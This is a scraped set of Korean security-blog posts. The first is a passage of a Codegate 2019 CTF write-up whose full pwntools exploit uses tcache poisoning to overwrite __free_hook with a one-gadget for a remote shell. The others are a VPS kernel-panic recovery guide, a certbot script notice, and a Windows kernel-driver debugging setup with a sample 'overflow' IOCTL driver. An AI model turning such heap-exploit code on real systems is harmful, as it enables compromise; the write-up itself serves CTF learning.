           v6 = sub_11DC();
           sub_1092((wallet *)&v7[16 * v6]);
           break;
         default:
           sub_11B3();
           break;
      }
    }
    }
  • 위와 같은 main이 주어지며 wallet을 생성하고 입금, 지불, 확인을 할 수 있고 추가적으로 관리자 기능이 존재한다. create_wallet을 통해 구조체를 얻을 수 있다.

    struct wallet
    {
     char *addr; // malloc(0x82)
     _QWORD *balance; // malloc(input_balance)
    };
  • 그리고 free가 되는 곳은 withdraw함수인데, 현재 가지고 있는 balance를 전부 소진(0이 돼야함)해야한다. 그리고 show함수에서는 wallet_count만큼 wallet을 출력해주므로 free(balance)가 된 wallet도 출력을 해주게 된다.

  • 하지만 이는 tcache bin에 들어갈 수 있는 크기(max fast bin size: 0x80)이면 main_arena와의 unlink를 진행하지 않는다. 그러므로 어느정도 큰값을 할당시켜 free시켜주면 main_arena의 주소가 leak된다.

  • 그리고 tcache bin의 특성상 실제로 free하지 않고 포인터를 가지고 있는데, heap chunk fd, bk에 해당하는 영역에 next chunk 주소가 들어가게 된다. 이는 다음 malloc(fastbin_size) 시, 참조하여 fd부분에 존재하는 next chunk를 그 다음 할당할 주소로 지정해준다. 이를 악용한 공격이 tcache_poisoning이다.

  • 아래는 해당 기법을 사용해 구성한 공격 코드이다.

    from pwn import *

    debug = False

    if debug:
    con = process("./godeth")
    else:
    #con = process("./godeth", env={"LD_PRELOAD":"./libc-2.27.so"})
    con = remote("110.10.147.103", 10001)

    def create(balance):
    con.sendlineafter("choice : ", "1")
    con.sendlineafter("how much initial eth? : ", str(balance))

    def deposit(idx, balance):
    con.sendlineafter("choice : ", "2")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("how much deposit? : ", str(balance))

    def withdraw(idx, balance):
    con.sendlineafter("choice : ", "3")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("how much you wanna withdraw? : ", str(balance))

    def show():
    con.sendlineafter("choice : ", "4")
    return con.recvuntil("\n\n")

    def dev(idx, balance):
    con.sendlineafter("choice : ", "6")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("new eth : ", balance)

    if debug:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    oneshot = 0x4f2c5
    else:
    libc = ELF("./libc-2.27.so")
    oneshot = 0x10a38c

    create(0x1000)
    create(0x80)

    withdraw(0, 0x1000)
    withdraw(1, 0x80)
    withdraw(1, 0x00)

    leak = show().split("\n")
    heap = int(leak[2].split(", ballance ")[1])
    main_arena = int(leak[1].split(", ballance ")[1]) - 96
    libc_base = main_arena - (libc.symbols["__malloc_hook"] + 0x10)
    free_hook = libc_base + libc.symbols["__free_hook"]
    oneshot = libc_base + oneshot
    print "heap: {:016x}".format(heap)
    print "main_arena: {:016x}".format(main_arena)
    print "libc: {:016x}".format(libc_base)
    print "free_hook: {:016x}".format(free_hook)
    print "oneshot: {:016x}".format(oneshot)

    dev(1, p64(free_hook))

    create(0x80)

    dev(2, p64(oneshot))

    withdraw(0, main_arena + 96)

    con.interactive()


github: https://github.com/Kur0N3k0/Writeup/blob/master/codegate/2019/writeup.md

'Write up > CTF' 카테고리의 다른 글

[defcon26] racewars  (0) 2019.03.25
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

필자는 시험기간인데 시험공부는 하기 싫은 대학생이다.


어김없이 오늘도 시험공부하기 싫어서 CTF하고 있었는데, 설정을 잘못건드렸는지 libc버전이 아래로 내려갔다.


그래서 그런지 apt-get, dpkg 명령같이 최신 버전의 glibc가 필요한 명령어들을 쳐보면 아래와 같은 에러가 발생하게 됐다.


...

 runlevel: /lib/x86_64-linux-gnu/libc.so.6: version `glibc_2.27' not found

...


이때까지는 별생각없이 "아 그냥 껐다 켜볼까?"란 안일한 생각으로 reboot명령을 내리려는데 또 저런 에러가 나서 재부팅이 안되는거다.


그래서 그냥 강제로 conoha의 재부팅기능을 사용했는데, putty로 미리 ssh연결 대기타고 있었지만 접속이 안됐다.


그래서 한번 콘솔을 살펴봤더니, 에라이 시발커널패틱이 "뙇"하고 떠있는게 아닌가


결국 멘탈이 갈려나가면서 삽질해봤는데, 처음엔 grub으로 부팅해서 initramfs로 mount해서 파일만 가져올까란 생각을 했었다.


근데, 또 보니까 네트워크가 안되더라. (이때 개빡쳤다)


대신 번뜩인 방법이 있었는데, 필자는 conoha vps를 이용하고 있었고 추가 디스크를 넣어줄 수 있다는 걸 보게됐다.


그전까지는 돈없는 학생이라 안쓰고 있었던 기능인데, 복구용으로 예전에 백업해둔 서버이미지를 추가 디스크에 넣어주고


grub으로 해당 디스크로 부팅하도록 명령을 내렸다. 그 때 명령은 아래와 같다.


set root=(hd1,gpt2) # ls로 확인해봐야함

linux /boot/vmlinuz-4.15.0-39-generic root=/dev/vdb2 rw net.ifnames=0 biosdevname=0 # /dev/vda2가 기존꺼였고 /dev/vdb2가 추가디스크다.

initrd /boot/initrd.img-4.15.0-39-generic

boot


이렇게 명령을 내리고 부팅시켜버리면, 추가디스크에 올려진 백업 서버가 올라가게 된다.


이제 기존 디스크를 mount시켜서 파일을 오거나 해야하는데, 백업이 귀찮으니 libc만 맞춰주면 될거라는 생각에 아래의 링크로 가서 dpkg파일을 다운받았다.


https://packages.ubuntu.com/bionic/amd64/libc6/download


물론 다운로드 받는 경로는 mount된 경로에서 받아야한다. (다운로드받을 때는 백업 디스크를 사용, 다운로드 경로는 추가(고칠예정)디스크)


다운로드가 되었다면, chroot /[mount된 경로] 를 한 뒤, 아래의 명령을 수행해서 강제로 libc를 설정해주면 된다.


chroot /[mount 경로]

dpkg -i --force-all ~~.deb


이렇게 설치가 완료되면, apt-get update && apt-get install 을 해주고 나머지 libc들을 수정해주면 된다.

'자료' 카테고리의 다른 글

DDos + Syn flooding firewall  (0) 2019.10.03
socat daemonize  (0) 2019.07.22
[Conoha] letsencrypt wildcard 인증서 발급  (0) 2018.12.09
Profile  (0) 2018.10.25
[Pwntools] pyserial uninstall fail시  (0) 2018.07.17
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

시험기간인데 남는시간에 만들었음.


Conoha 서버를 사용하는 사람들만 사용가능함.


requirements는 certbot, argparse, requests가 있으면 됌.


링크: github link


/etc/cron.d/cerbot파일을 README에 있는대로 수정하면 됌

'자료' 카테고리의 다른 글

socat daemonize  (0) 2019.07.22
[Conoha/VPS] KernelPanic 복구  (0) 2018.12.16
Profile  (0) 2018.10.25
[Pwntools] pyserial uninstall fail시  (0) 2018.07.17
[Python] Mutation Fuzzer  (0) 2018.05.16
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

개발 및 디버깅 환경구성

- 호스트 환경

OS: Windows10 64bit

VM: VMware

Devtool: Visual Studio 2017

WDK: https://docs.microsoft.com/ko-kr/windows-hardware/drivers/other-wdk-downloads

(*최신버전: 2018.11.25기준 1709버전 WDK)

Debugging: VirtualKD, Windbg


- 게스트 환경(VM)

OS: Windows10 32bit

Driver Loader: OSR Driver Loader

Debugging: VirtualKD


- 환경 구성

1. VM에 Windows10 32bit를 설치

2. 자신의 Visual Studio 버전에 맞는 WDK를 다운로드

3. WDK프로젝트(빈프로젝트 아님)를 생성해 올바르게 컴파일 되는지 확인

4. 게스트의 네트워크 어뎁터를 브릿지 모드로 변경

5. 게스트에서 폴더하나를 생성해 공유 설정

6. 호스트에서 네트워크 드라이브를 게스트 OS에 연결

7. 준비된 OSR Driver Loader, VirtualKD target 폴더를 게스트 OS에 넣어줌

8. 게스트 OS에서 VirtualKD target폴더 안에 exe, reg파일 실행 후, x86 폴더에 있는 dll, sys파일을 system32폴더에 넣어준 후 잠시 종료

9. 호스트에서 vmmon64.exe(호스트 환경에 맞는 exe)실행 후, Debugger path(게스트 os bit와 일치시켜야함)설정

10. VMware에 게스트VM 설정을 들어가 Serial Port를 Named Pipe로 추가해준 후, VM 시작

11. 게스트에서 생성된 Boot 옵션에서 F8을 눌러 code signing을 disable 시켜줌

12. VirtualKD에서 windbg가 띄워지면서 연결되면 디버깅 환경 구축완료

13. Windbg에서 DbgPrint를 출력하기 위해 "ed nt!Kd_Default_Mask 8"를 입력

14. 그 다음 .symfix 후 .reload 명령을 수행


간단한 Driver, Application예제


Io_constant.h


#pragma once

#include <ntddk.h>
#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)


driver.h


#pragma once

#include <ntddk.h>

void DriverUnload(PDRIVER_OBJECT pDriverObject);
NTSTATUS CreateCloseHandler(PDEVICE_OBJECT pDeviceObject, PIRP Irp);
NTSTATUS DeviceControl(PDEVICE_OBJECT pDeviceObject, PIRP Irp);
void StackOverflowHandler(PDEVICE_OBJECT pDeviceObject, PIRP Irp);


driver.c

#include <ntifs.h>
#include <ntddk.h>
#include <wdm.h>

#include "driver.h"
#include "Io_constants.h"

UNICODE_STRING devName;
UNICODE_STRING symName;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath) {
	UNREFERENCED_PARAMETER(RegistryPath);
	
	PDEVICE_OBJECT DeviceObject = NULL;
	RtlInitUnicodeString(&devName, L"\\Device\\KernelBOF");
	RtlInitUnicodeString(&symName, L"\\DosDevices\\KernelBOFcat");

	NTSTATUS status = IoCreateDevice(pDriverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject);
	if (!NT_SUCCESS(status))
		return status;
	
	status = IoCreateSymbolicLink(&symName, &devName);
	if (!NT_SUCCESS(status))
		return status;

	pDriverObject->DriverUnload = DriverUnload;
	pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateCloseHandler;
	pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateCloseHandler;
	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControl;

	return STATUS_SUCCESS;
}

void DriverUnload(PDRIVER_OBJECT pDriverObject) {
	IoDeleteSymbolicLink(&symName);
	IoDeleteDevice(pDriverObject->DeviceObject);
}

NTSTATUS CreateCloseHandler(PDEVICE_OBJECT pDeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(pDeviceObject);

	Irp->IoStatus.Status = STATUS_SUCCESS;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return Irp->IoStatus.Status;
}

NTSTATUS DeviceControl(PDEVICE_OBJECT pDeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(pDeviceObject);

	PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(Irp);
	ULONG ctlCode = pStack->Parameters.DeviceIoControl.IoControlCode;

	Irp->IoStatus.Status = STATUS_SUCCESS;

	switch(ctlCode) {
	case IOCTL_TEST:
		DbgPrint("KuroNeko Device Driver Test\n");
		break;
	case IOCTL_OVERFLOW:
		StackOverflowHandler(pDeviceObject, Irp);
		break;
	default:
		break;
	}

	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return Irp->IoStatus.Status;
}

void StackOverflowHandler(PDEVICE_OBJECT pDeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(pDeviceObject);

	PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(Irp);

	char *sBuffer = Irp->AssociatedIrp.SystemBuffer;
	DbgPrint("message: %s\n", sBuffer);
	
	if (pStack->Parameters.DeviceIoControl.InputBufferLength > 8) {
		RtlCopyMemory(sBuffer, "KuroNeko\x00", 9);
		Irp->IoStatus.Information = 9;
	}
	DbgPrint("message: %s\n", sBuffer);
}


코드 컴파일 후, 빌드 이벤트를 사용해 게스트 OS로 파일을 복사시킨 후, OSR Driver Loader로 빠른 로드 및 디버깅을 하자.

'공부' 카테고리의 다른 글

[nodejs] mongoose를 이용한 로그인 구현  (0) 2019.05.08
xss payload  (0) 2019.04.19
유저 영역 Stack Canary 분석  (2) 2018.08.16
python AES  (0) 2018.08.10
[IDA] C++ Class 변환  (0) 2017.08.09
블로그 이미지

KuroNeko_

KuroNeko

,